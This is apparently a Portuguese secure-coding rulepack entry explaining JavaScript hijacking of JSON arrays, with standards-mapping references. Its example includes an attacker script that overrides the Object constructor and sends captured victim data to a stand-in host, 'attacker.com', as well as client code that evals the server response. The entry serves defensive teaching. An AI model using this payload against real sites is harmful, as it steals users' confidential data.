[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.java.javascript_hijacking_vulnerable_framework
Abstract
Os aplicativos que utilizam a notação JavaScript para transportar dados confidenciais podem ser vulneráveis a sequestros de JavaScript, o que permite a um invasor não autorizado ler dados confidenciais por meio de um aplicativo vulnerável.
Explanation
Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações: 1) Ele usa objetos JavaScript como formato de transferência de dados 2) Ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Os navegadores da Web aplicam a Política de Mesma Origem para proteger os usuários de sites mal-intencionados. A mesma Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto o JavaScript quanto a página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e, depois, comunicá-las ao invasor. O sequestro de JavaScript permite que um invasor ignore a política da mesma origem no caso de um aplicativo da web usar JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não possa examinar diretamente quaisquer dados carregados de um site vulnerável no cliente, ele ainda pode tirar vantagem dessa brecha, configurando um ambiente que permite testemunhar a execução do JavaScript e quaisquer efeitos colaterais relevantes que possa ter. Como muitos aplicativos da Web 2.0 usam JavaScript como mecanismo de transporte de dados, eles costumam ser vulneráveis, ao contrário dos aplicativos tradicionais da Web.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking_vulnerable_framework